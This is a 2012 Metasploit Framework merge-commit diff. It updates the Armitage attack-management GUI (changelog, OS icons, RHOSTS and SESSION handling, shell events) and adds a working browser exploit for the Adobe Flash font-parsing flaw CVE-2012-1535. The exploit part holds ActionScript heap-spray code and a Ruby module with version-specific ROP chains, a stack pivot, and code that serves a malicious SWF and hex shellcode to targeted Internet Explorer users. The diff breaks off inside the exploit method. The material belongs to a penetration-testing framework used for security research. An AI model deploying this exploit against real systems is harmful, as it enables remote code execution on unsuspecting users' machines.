Merge branch 'master' of github_r7:rapid7/metasploit-framework

unstable
Tod Beardsley 2012-08-20 10:34:02 -05:00
commit 14e0dcc73b
28 changed files with 706 additions and 42 deletions

Binary file not shown.

Binary file not shown.

View File

@ -1,6 +1,30 @@
Armitage Changelog
==================
16 Aug 12 (tested against msf r15753)
----------
- Dynamic workspaces now removes closed services from its set of
hosts matching certain open ports.
- Cortana console now reports a clear error message a built-in
command is executed without the right number of arguments.
- Added host icons for Android and iOS. You may now set these
operating systems by going to [host] -> Host -> Operating System
- Armitage now shows the client-side exploit dialog for any exploit
that does not target an RHOST (for example, windows/smb/smb_relay)
- Added support for remote exploits that use RHOSTS over RHOST
(this includes the new windows/local/current_user_psexec)
- Added a helper for setting the SESSION option
Cortana Updates (for scripters)
--------
- s_cmd no longer times out after 60s. It will wait forever for
a command to complete now.
- added shell_read event which fires when a shell s_cmd comes
back with intermediate output.
- fixed a potential deadlock with &open_console_tab
- scripts now have the ability to redefine the max size of a
workspace: db_workspace(%(size => #####));
2 Aug 12 (tested again msf r15698)
--------
- Armitage now reports vulnerability module and descriptions

Binary file not shown.

View File

@ -3,7 +3,7 @@
<center><h1>Armitage 1.44</h1></center>
<p>An attack management tool for Metasploit&reg;
<br />Release: 2 Aug 12</p>
<br />Release: 16 Aug 12</p>
<br />
<p>Developed by:</p>

Binary file not shown.

After

Width:  |  Height:  |  Size: 101 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 81 KiB

View File

@ -48,7 +48,7 @@ sub open_console_tab {
quit();
}
_call_("&setupConsoleStyle", $tab);
_call_later_("&setupConsoleStyle", $tab);
return $console;
}, $title => $1, $log_folder => $2, $popup_hook => $3, $q_activity => $4);
}

View File

@ -63,6 +63,9 @@ sub showHost {
push(@overlay, 'resources/windows7.png');
}
}
else if ($os eq "Apple iOS" || "*AppleTV*" iswm $os) {
push(@overlay, 'resources/ios.png');
}
else if ($os eq "Mac OS X" || "*apple*" iswm lc($os) || "*mac*os*x*" iswm lc($os)) {
push(@overlay, 'resources/macosx.png');
}
@ -81,6 +84,9 @@ sub showHost {
else if ("*VMware*" iswm $os) {
push(@overlay, 'resources/vmware.png');
}
else if ($os eq "Android") {
push(@overlay, 'resources/android.png');
}
else if ($purpose eq "firewall") {
return overlay_images(@('resources/firewall.png'));
}

View File

@ -397,6 +397,9 @@ sub attack_dialog {
if ($key eq "RHOST") {
$value["default"] = join(", ", $3);
}
else if ($key eq "RHOSTS") {
$value["default"] = join(", ", $3);
}
[$model _addEntry: %(Option => $key,
Value => $value["default"],
@ -454,32 +457,61 @@ sub attack_dialog {
$options["TARGET"] = split(' \=\> ', [$combobox getSelectedItem])[0];
thread(lambda({
local('$host $hosts');
$hosts = split(', ', $options["RHOST"]);
if ('RHOSTS' in $options) {
thread(lambda({
local('$hosts $host');
$hosts = split(', ', $options["RHOSTS"]);
if (size($hosts) == 0) {
showError("Please specify an RHOSTS value");
return;
}
$options["PAYLOAD"] = best_payload($hosts[0], $exploit, [$b isSelected]);
foreach $host ($hosts) {
$options["PAYLOAD"] = best_payload($host, $exploit, [$b isSelected]);
$options["RHOST"] = $host;
if ([$b isSelected]) {
$options["LPORT"] = randomPort();
}
($exploit, $host, $options) = filter_data("exploit", $exploit, $host, $options);
if (size($hosts) >= 4) {
call_async($client, "module.execute", "exploit", $exploit, $options);
# give scripts a chance to filter this data.
foreach $host ($hosts) {
($exploit, $host, $options) = filter_data("exploit", $exploit, $host, $options);
}
else {
module_execute("exploit", $exploit, copy($options));
}
yield 100;
}
module_execute("exploit", $exploit, copy($options));
if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "false" || size($hosts) >= 4) {
showError("Launched $exploit at " . size($hosts) . " host" . iff(size($hosts) == 1, "", "s"));
}
}, $options => copy($options), \$exploit, \$b));
if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "false" || size($hosts) >= 4) {
showError("Launched $exploit at " . size($hosts) . " host" . iff(size($hosts) == 1, "", "s"));
}
}, $options => copy($options), \$exploit, \$b));
}
else {
thread(lambda({
local('$host $hosts');
$hosts = split(', ', $options["RHOST"]);
foreach $host ($hosts) {
$options["PAYLOAD"] = best_payload($host, $exploit, [$b isSelected]);
$options["RHOST"] = $host;
if ([$b isSelected]) {
$options["LPORT"] = randomPort();
}
($exploit, $host, $options) = filter_data("exploit", $exploit, $host, $options);
if (size($hosts) >= 4) {
call_async($client, "module.execute", "exploit", $exploit, $options);
}
else {
module_execute("exploit", $exploit, copy($options));
}
yield 100;
}
if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "false" || size($hosts) >= 4) {
showError("Launched $exploit at " . size($hosts) . " host" . iff(size($hosts) == 1, "", "s"));
}
}, $options => copy($options), \$exploit, \$b));
}
if (!isShift($1)) {
[$dialog setVisible: 0];
@ -615,6 +647,35 @@ sub addFileListener {
$actions["SigningKey"] = $actions["*FILE*"];
$actions["WORDLIST"] = $actions["*FILE*"];
# set up an action to choose a session
$actions["SESSION"] = {
local('@data $sid $data $host $hdata $temp $tablef');
# obtain a list of sessions
foreach $host (keys(%hosts)) {
foreach $sid => $data (getSessions($host)) {
$temp = copy($data);
$temp['sid'] = $sid;
push(@data, $temp);
}
}
# sort the session data
@data = sort({ return $1['sid'] <=> $2['sid']; }, @data);
# update the table widths
$tablef = {
[[$1 getColumn: "sid"] setPreferredWidth: 100];
[[$1 getColumn: "session_host"] setPreferredWidth: 300];
[[$1 getColumn: "info"] setPreferredWidth: 1024];
};
# let the user choose a session
quickListDialog("Choose a session", "Select", @("sid", "sid", "session_host", "info"), @data, $width => 640, $height => 240, lambda({
[$call : $1];
}, $call => $4), \$tablef);
};
# set up an action to pop up a file chooser for different file type values.
$actions["RHOST"] = {
local('$title $temp');

View File

@ -432,13 +432,17 @@ sub setupTable {
# creates a list dialog,
# $1 = title, $2 = button text, $3 = columns, $4 = rows, $5 = callback
sub quickListDialog {
local('$dialog $panel $table $row $model $button $sorter $after $a');
local('$dialog $panel $table $row $model $button $sorter $after $a $tablef');
$dialog = dialog($1, $width, $height);
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
($table, $model) = setupTable($3[0], sublist($3, 1), $4);
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
if ($tablef !is $null) {
[$tablef: $table, $model];
}
$button = [new JButton: $2];
[$button addActionListener: lambda({

View File

@ -36,6 +36,8 @@ sub host_selected_items {
$h = menu($1, "Host", 'H');
$o = menu($h, "Operating System", 'O');
item($o, "Android", 'A', setHostValueFunction($2, "os_name", "Android"));
item($o, "Apple iOS", 'i', setHostValueFunction($2, "os_name", "Apple iOS"));
item($o, "Cisco IOS", 'C', setHostValueFunction($2, "os_name", "Cisco IOS"));
item($o, "FreeBSD", 'F', setHostValueFunction($2, "os_name", "FreeBSD"));
item($o, "Linux", 'L', setHostValueFunction($2, "os_name", "Linux"));

View File

@ -19,9 +19,24 @@ sub createModuleBrowser {
return $split;
}
sub isClientside {
local('$options');
$options = call($mclient, "module.options", "exploit", $1);
return iff ('RHOST' in $options || 'RHOSTS' in $options, $null, 1);
}
sub showModulePopup {
local('$event $type $path');
($event, $type, $path) = @_;
# we go through this hassle because &isClientside calls module.options which could block
# and freeze the UI--we don't want to do that...
thread(lambda(&_showModulePopup, \$event, \$type, \$path));
}
sub _showModulePopup {
local('$menu');
if (($2 eq "exploit" && "*/browser/*" !iswm $3 && "*/fileformat/*" !iswm $3) || ($2 eq "auxiliary" && "*_login" iswm $3)) {
if (($type eq "exploit" && !isClientside($path)) || ($type eq "auxiliary" && "*_login" iswm $path)) {
$menu = [new JPopupMenu];
item($menu, "Relevant Targets", 'R', lambda({
thread(lambda({
@ -61,14 +76,18 @@ sub showModulePopup {
showError("I'm sorry, this option doesn't work for\nthis module.");
}
}, \$module, \$type));
}, $module => $3, $type => $2));
}, $module => $path, \$type));
setupMenu($menu, "module", @($2, $3));
setupMenu($menu, "module", @($type, $path));
[$menu show: [$1 getSource], [$1 getX], [$1 getY]];
dispatchEvent(lambda({
[$menu show: [$event getSource], [$event getX], [$event getY]];
}, \$menu, \$event));
}
else {
installMenu($1, "module", @($2, $3));
dispatchEvent(lambda({
installMenu($event, "module", @($type, $path));
}, \$type, \$path, \$event));
}
}
@ -79,7 +98,7 @@ sub moduleAction {
thread(lambda({
if ($path in @exploits || $path in @auxiliary || $path in @payloads || $path in @post) {
if ($type eq "exploit") {
if ('*/browser/*' iswm $path || '*/fileformat/*' iswm $path) {
if (isClientside($path)) {
launch_dialog($path, $type, $path, 1, $hosts);
}
else {

View File

@ -152,7 +152,7 @@ sub updatePrefModel {
foreach $key => $value (convertAll($preferences)) {
($component, $name, $type) = split('\\.', $key);
if ($type eq "color" || $type eq "shortcut" || $type eq "font" || $type eq "folder") {
if ($type eq "color" || $type eq "shortcut" || $type eq "font" || $type eq "folder" || $type eq "file") {
$type = "$type \u271A";
}
@ -220,6 +220,14 @@ sub createPreferencesTab {
[$model fireListeners];
}
}
else if ($type eq "file") {
local('$file');
$file = chooseFile();
if ($file !is $null) {
[$model setValueAtRow: $row, "value", $file];
[$model fireListeners];
}
}
else if ($type eq "font") {
local('$dialog $select $style $size $ok $cancel $preview $graphics $l $font $_style');
$dialog = dialog("Choose a font", 640, 240);

View File

@ -278,6 +278,12 @@ public class Cortana implements Loadable, RuntimeWarningWatcher {
states.add("askon");
states.add("askoff");
Set cmds = new HashSet();
cmds.addAll(states);
cmds.add("unload");
cmds.add("load");
cmds.add("reload");
if ("ls".equals(text)) {
p("");
p("Scripts");
@ -292,6 +298,9 @@ public class Cortana implements Loadable, RuntimeWarningWatcher {
}
p("");
}
else if (cmds.contains(data[0]) && data.length != 2) {
p("[-] Missing arguments");
}
else if (states.contains(data[0]) && data.length == 2) {
String script = findScript(data[1]);
if (script == null) {

View File

@ -135,12 +135,17 @@ public class DataManager implements ArmitageTimerClient, Loadable, Function, Pre
Map workspace = new HashMap();
Object[] argz = new Object[1];
if (args.size() == 4) {
if (args.size() >= 4) {
String hosts = BridgeUtilities.getString(args, "");
String ports = BridgeUtilities.getString(args, "");
String os = BridgeUtilities.getString(args, "");
String session = BridgeUtilities.getString(args, "");
if (!args.isEmpty()) {
String size = BridgeUtilities.getString(args, "512");
workspace.put("size", size);
}
if (!hosts.equals(""))
workspace.put("hosts", hosts);

View File

@ -28,6 +28,27 @@ public class ShellBridge implements Loadable, Function, ShellSession.ShellCallba
public SleepClosure function;
}
public void commandUpdate(String session, Object token, String output) {
if (!(token instanceof ShellToken))
return;
ScriptInstance script = ((ShellToken)token).script;
String command = ((ShellToken)token).command;
SleepClosure function = ((ShellToken)token).function;
Stack args = new Stack();
args.push(FilterManager.convertAll(output));
args.push(SleepUtils.getScalar(command));
args.push(SleepUtils.getScalar(session));
if (function == null) {
events.fireEvent("shell_read", args, script);
}
else {
SleepUtils.runCode(function, "read", script, args);
}
}
public void commandComplete(String session, Object token, String output) {
if (!(token instanceof ShellToken))
return;

View File

@ -25,6 +25,7 @@ public class ShellSession implements Runnable {
public static interface ShellCallback {
public void commandComplete(String session, Object token, String response);
public void commandUpdate(String session, Object token, String response);
}
public void addListener(ShellCallback l) {
@ -33,13 +34,17 @@ public class ShellSession implements Runnable {
}
}
public void fireEvent(Command command, String output) {
public void fireEvent(Command command, String output, boolean done) {
Iterator i;
synchronized (this) {
i = new LinkedList(listeners).iterator();
}
while (i.hasNext()) {
((ShellCallback)i.next()).commandComplete(session, command != null ? command.token : null, output);
if (done)
((ShellCallback)i.next()).commandComplete(session, command != null ? command.token : null, output);
else
((ShellCallback)i.next()).commandUpdate(session, command != null ? command.token : null, output);
}
}
@ -68,25 +73,28 @@ public class ShellSession implements Runnable {
/* read until we encounter AAAAAAAAAA */
StringBuffer output = new StringBuffer();
/* loop for 60s trying to read output... give up after 60s, some commands may simply take this long */
for (int x = 0; x < 600; x++) {
/* loop forever waiting for response to come back. If session is dead
then this loop will break with an exception */
while (true) {
response = readResponse();
String data = (response.get("data") + "");
if (data.length() > 0) {
if (data.endsWith(marker)) {
data = data.substring(0, data.length() - marker.length());
fireEvent(c, data, false);
output.append(data);
fireEvent(c, output.toString());
fireEvent(c, output.toString(), true);
return;
}
else {
fireEvent(c, data, false);
output.append(data);
}
}
Thread.sleep(100);
}
fireEvent(c, output.toString());
}
catch (Exception ex) {
System.err.println(session + " -> " + c.text + " ( " + response + ")");

View File

@ -16,6 +16,7 @@ public class Shared implements Function, Loadable {
the armitage function must register itself though */
script.getScriptEnvironment().getEnvironment().put("&_call_", this);
script.getScriptEnvironment().getEnvironment().put("&_call_async_", this);
script.getScriptEnvironment().getEnvironment().put("&_call_later_", this);
}
public void scriptUnloaded(ScriptInstance script) {
@ -38,6 +39,16 @@ public class Shared implements Function, Loadable {
}).start();
return SleepUtils.getEmptyScalar();
}
else if (name.equals("&_call_later_")) {
final SleepClosure f = (SleepClosure)values.get(function);
final Stack argz = EventManager.shallowCopy(args);
javax.swing.SwingUtilities.invokeLater(new Runnable() {
public void run() {
SleepUtils.runCode(f, function, f.getOwner(), argz);
}
});
return SleepUtils.getEmptyScalar();
}
}
throw new RuntimeException("'" + function + "' does not exist");

View File

@ -19,6 +19,12 @@ public class DatabaseImpl implements RpcConnection {
protected int hindex = 0;
protected int sindex = 0;
/* define the maximum hosts in a workspace */
protected int maxhosts = 512;
/* define the maximum services in a workspace */
protected int maxservices = 512 * 24;
public void resetHostsIndex() {
hindex = 0;
queries = build();
@ -186,8 +192,8 @@ public class DatabaseImpl implements RpcConnection {
/* this is an optimization. If we have a network or OS filter, we need to pull back all host/service records and
filter them here. If we do not have these types of filters, then we can let the database do the heavy lifting
and limit the size of the final result there. */
int limit1 = rFilter == null && oFilter == null ? 512 : 30000;
int limit2 = rFilter == null && oFilter == null ? 12288 : 100000;
int limit1 = rFilter == null && oFilter == null ? maxhosts : 30000;
int limit2 = rFilter == null && oFilter == null ? maxservices : 100000;
temp.put("db.creds", "SELECT DISTINCT creds.*, hosts.address as host, services.name as sname, services.port as port, services.proto as proto FROM creds, services, hosts WHERE services.id = creds.service_id AND hosts.id = services.host_id AND hosts.workspace_id = " + workspaceid);
@ -226,10 +232,10 @@ public class DatabaseImpl implements RpcConnection {
Map result = new HashMap();
if (methodName.equals("db.services")) {
result.put(methodName.substring(3), filterByRoute(executeQuery(query), 12288));
result.put(methodName.substring(3), filterByRoute(executeQuery(query), maxservices));
}
else if (methodName.equals("db.hosts")) {
result.put(methodName.substring(3), filterByRoute(executeQuery(query), 512));
result.put(methodName.substring(3), filterByRoute(executeQuery(query), maxhosts));
}
else {
result.put(methodName.substring(3), executeQuery(query));
@ -335,6 +341,15 @@ public class DatabaseImpl implements RpcConnection {
//srvcs.add("sessions.host_id = hosts.id AND sessions.closed_at IS NULL");
}
if (values.containsKey("size")) {
try {
maxhosts = Integer.parseInt(values.get("size") + "");
maxservices = maxhosts * 24;
}
catch (Exception ex) {
}
}
if (values.containsKey("hosts") && (values.get("hosts") + "").length() > 0) {
String h = values.get("hosts") + "";
if (!h.matches("[0-9a-fA-F\\.:\\%\\_/, ]+")) {
@ -362,6 +377,7 @@ public class DatabaseImpl implements RpcConnection {
//ports2.add("s.port = " + p[x]);
}
hosts.add("services.host_id = hosts.id");
hosts.add("services.state = 'open'");
hosts.add("(" + join(ports, " OR ") + ")");
}

View File

@ -23,6 +23,7 @@ public class ATable extends JTable {
specialitems.add("SigningKey");
specialitems.add("SigningCert");
specialitems.add("WORDLIST");
specialitems.add("SESSION");
return new TableCellRenderer() {
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {

View File

@ -1,6 +1,30 @@
Armitage Changelog
==================
16 Aug 12 (tested against msf r15753)
----------
- Dynamic workspaces now removes closed services from its set of
hosts matching certain open ports.
- Cortana console now reports a clear error message a built-in
command is executed without the right number of arguments.
- Added host icons for Android and iOS. You may now set these
operating systems by going to [host] -> Host -> Operating System
- Armitage now shows the client-side exploit dialog for any exploit
that does not target an RHOST (for example, windows/smb/smb_relay)
- Added support for remote exploits that use RHOSTS over RHOST
(this includes the new windows/local/current_user_psexec)
- Added a helper for setting the SESSION option
Cortana Updates (for scripters)
--------
- s_cmd no longer times out after 60s. It will wait forever for
a command to complete now.
- added shell_read event which fires when a shell s_cmd comes
back with intermediate output.
- fixed a potential deadlock with &open_console_tab
- scripts now have the ability to redefine the max size of a
workspace: db_workspace(%(size => #####));
2 Aug 12 (tested again msf r15698)
--------
- Armitage now reports vulnerability module and descriptions

118
external/source/exploits/CVE-2012-1535/Main.as vendored Executable file
View File

@ -0,0 +1,118 @@
package {
import flash.text.engine.*;
import flash.utils.*;
import flash.display.*;
import flash.events.*;
import flash.net.*;
import flash.external.*;
public class Main extends Sprite {
private var FontClass:Class;
public var kbArray:ByteArray;
public var mbArray:ByteArray;
public var tmpArray:ByteArray;
public var allocs:Array;
private var shellcode:String;
private var urlLoader:URLLoader = new URLLoader();
public function Main():void{
this.FontClass = Main_FontClass;
super();
var path:String = "/pay.txt";
var urlRequest:URLRequest = new URLRequest(path);
urlLoader.dataFormat = URLLoaderDataFormat.TEXT;
urlLoader.addEventListener(Event.COMPLETE, urlLoader_complete);
urlLoader.load(urlRequest);
}
public function finishExploit(p:String):void{
this.heapSpray(p);
this.TextBlock_createTextLineExample();
}
public function urlLoader_complete(evt:Event):void {
finishExploit(urlLoader.data);
}
public function TextBlock_createTextLineExample():void{
var _local1 = "Edit the world in hex.";
var _local2:FontDescription = new FontDescription("PSpop");
_local2.fontLookup = FontLookup.EMBEDDED_CFF;
var _local3:ElementFormat = new ElementFormat(_local2);
_local3.fontSize = 16;
var _local4:TextElement = new TextElement(_local1, _local3);
var _local5:TextBlock = new TextBlock();
_local5.content = _local4;
this.createLines(_local5);
}
private function createLines(_arg1:TextBlock):void{
var _local2:Number = 300;
var _local3:Number = 15;
var _local4:Number = 20;
var _local5:TextLine = _arg1.createTextLine(null, _local2);
while (_local5) {
_local5.x = _local3;
_local5.y = _local4;
_local4 = (_local4 + (_local5.height + 2));
addChild(_local5);
_local5 = _arg1.createTextLine(_local5, _local2);
};
}
public function heapSpray(p:String):void{
var _local1:uint;
_local1 = 0;
this.kbArray = new ByteArray();
this.kbArray.endian = Endian.LITTLE_ENDIAN;
var _local4:String = p;
var _local5:ByteArray = this.hexToBin(_local4);
var _local6:uint = (_local4.length / 2);
_local1 = 0;
while (_local1 < 0x0400) {
this.kbArray.writeByte(12);
_local1 = (_local1 + 1);
};
_local1 = 0;
this.mbArray = new ByteArray();
this.mbArray.endian = Endian.LITTLE_ENDIAN;
while (_local1 < 0x0400) {
this.mbArray.writeBytes(this.kbArray, 0, this.kbArray.length);
_local1 = (_local1 + 1);
};
_local1 = 0;
while (_local1 < 0x100000) {
this.mbArray.position = _local1;
this.mbArray.writeBytes(_local5, 0, _local5.length);
_local1 = (_local1 + 65536);
};
_local1 = 0;
this.allocs = new Array();
while (_local1 < 0x0200) {
this.tmpArray = new ByteArray();
this.tmpArray.endian = Endian.LITTLE_ENDIAN;
this.tmpArray.writeBytes(this.mbArray, 0, this.mbArray.length);
this.allocs.push(this.tmpArray);
_local1 = (_local1 + 1);
};
}
private function hexToBin(_arg1:String):ByteArray{
var _local5:String;
var _local2:ByteArray = new ByteArray();
var _local3:uint = _arg1.length;
var _local4:uint;
_local2.endian = Endian.LITTLE_ENDIAN;
while (_local4 < _local3) {
_local5 = (_arg1.charAt(_local4) + _arg1.charAt((_local4 + 1)));
_local2.writeByte(parseInt(_local5, 16));
_local4 = (_local4 + 2);
};
return (_local2);
}
}
}

View File

@ -0,0 +1,14 @@
package {
import mx.core.*;
[Embed(source='PSpop.otf'
,fontFamily ='PSpop'
,fontStyle ='normal'
,fontWeight ='normal'
,embedAsCFF='true'
)]
public class Main_FontClass extends FontAsset {
}
}

Binary file not shown.

View File

@ -1,4 +1,4 @@
#!/Users/shuckins/.rvm/rubies/ruby-1.9.3-p194/bin/ruby
#!/usr/bin/env ruby_noexec_wrapper
#
# This file was generated by RubyGems.
#

View File

@ -6,7 +6,7 @@ Gem::Specification.new do |s|
s.required_rubygems_version = Gem::Requirement.new("> 1.3.1") if s.respond_to? :required_rubygems_version=
s.authors = ["Trevor Rosen"]
s.date = "2012-08-15"
s.date = "2012-08-16"
s.description = "Implements minimal ActiveRecord models and database helper code used in both the Metasploit Framework (MSF) and Metasploit commercial editions."
s.email = ["trevor_rosen@rapid7.com"]
s.executables = ["mdm_console"]

View File

@ -0,0 +1,313 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player 11.3 Font Parsing Code Execution",
'Description' => %q{
This module exploits a vulnerability found in the ActiveX component of Adobe
Flash Player before 11.3.300.271. By supplying a corrupt Font file used by the SWF,
it is possible to gain arbitrary remote code execution under the context of the
user, as exploited in the wild.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexander Gavrun', #Through iDefense
'sinn3r',
'juan vazquez'
],
'References' =>
[
[ 'CVE', '2012-1535' ],
[ 'OSVDB', '84607'],
[ 'BID', '55009'],
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ],
[ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ],
[ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ]
],
'Payload' =>
{
'Space' => 1024
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# Tested successfully on:
# Flash 11.3.300.268
# Flash 11.3.300.265
# Flash 11.3.300.257
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => nil
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => nil
}
],
[
'IE 8 on Windows XP SP3',
{
'Rop' => true
}
]
],
'Privileged' => false,
'DisclosureDate' => "Aug 9 2012",
'DefaultTarget' => 0))
register_options(
[
OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]),
], self.class)
end
def nop
return make_nops(4).unpack("L")[0].to_i
end
def get_payload(t, flash_version=nil)
if t['Rop'].nil?
p = [
0x0c0c0c0c, # mapped at 1e0d0000
0x0c0c0c0c,
0x0c0c0c0c, # mapped at 1e0d0008
].pack("V*")
p << payload.encoded
else
if datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/
print_status("Using Rop Chain For Flash: #{flash_version}")
stack_pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d891, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
rop = [
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
0x106e3384, # <- *&VirtualProtect()
0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx)
0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx)
0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx)
0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx)
0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx)
0x00000201, # <- change size to mark as executable if needed (-> ebx)
0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx)
0x10955000, # W pointer (lpOldProtect) (-> ecx)
0x10649003, # POP EDI # RETN (Flash32_11_3_300_257.ocx)
0x10649004, # ROP NOP (-> edi)
0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx)
0x00000040, # newProtect (0x40) (-> edx)
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
nop, # NOPS (-> eax)
0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx)
].pack("V*")
elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/
print_status("Using Rop Chain For Flash: #{flash_version}")
stack_pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
rop = [
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
0x106e338c, # <- *&VirtualProtect()
0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx)
0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx)
0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx)
0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx)
0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx)
0x00000201, # <- change size to mark as executable if needed (-> ebx)
0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx)
0x10955000, # W pointer (lpOldProtect) (-> ecx)
0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx)
0x105c1812, # ROP NOP (-> edi)
0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx)
0x00000040, # newProtect (0x40) (-> edx)
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
nop, # NOPS (-> eax)
0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx)
].pack("V*")
elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/
print_status("Using Rop Chain For Flash: #{flash_version}")
stack_pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d755, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
rop = [
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
0x106e438c, # <- *&VirtualProtect()
0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx)
0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx)
0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx)
0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx)
0x105e0013, # POP EBX # RETN (Flash32_11_3_300_268.ocx)
0x00000201, # <- change size to mark as executable if needed (-> ebx)
0x10593801, # POP ECX # RETN (Flash32_11_3_300_268.ocx)
0x1083c000, # RW pointer (lpOldProtect) (-> ecx)
0x10308b0e, # POP EDI # RETN (Flash32_11_3_300_268.ocx)
0x10308b0f, # ROP NOP (-> edi)
0x10663a00, # POP EDX # RETN (Flash32_11_3_300_268.ocx)
0x00000040, # newProtect (0x40) (-> edx)
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
nop, # NOPS (-> eax)
0x1069120b, # PUSHAD # RETN (Flash32_11_3_300_268.ocx)
].pack("V*")
else
print_status("Default back to JRE ROP")
stack_pivot = [
0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x7c348b05, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
rop = [
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0x00001000, # (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0x00000040, # flNewProtect
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
end
p = stack_pivot
p << rop
p << payload.encoded
end
return p
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
else
return nil
end
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
print_status("User-agent: #{agent}")
my_target = get_target(agent)
print_status("Client requesting: #{request.uri}")
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end
# The SWF request itself
if request.uri =~ /\.swf$/
print_status("Sending SWF")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
return
end
# The TXT payload request
if request.uri =~ /\.txt$/
flash_version = request.headers['x-flash-version']
shellcode = get_payload(my_target, flash_version).unpack('H*')[0]
print_status("Sending Payload")
send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
return
end
swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"
html = %Q|
<html>
<head>
</head>
<body>
<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
<param name="movie" value="#{swf_uri}">
</object>
</body>
</html>
|
html = html.gsub(/^\t\t/, '')
# we need to handle direct /pay.txt requests
proc = Proc.new do |cli, req|
on_request_uri(cli, req)
end
add_resource({'Path' => "/pay.txt", 'Proc' => proc}) rescue nil
print_status("Sending HTML")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def exploit
@swf = create_swf
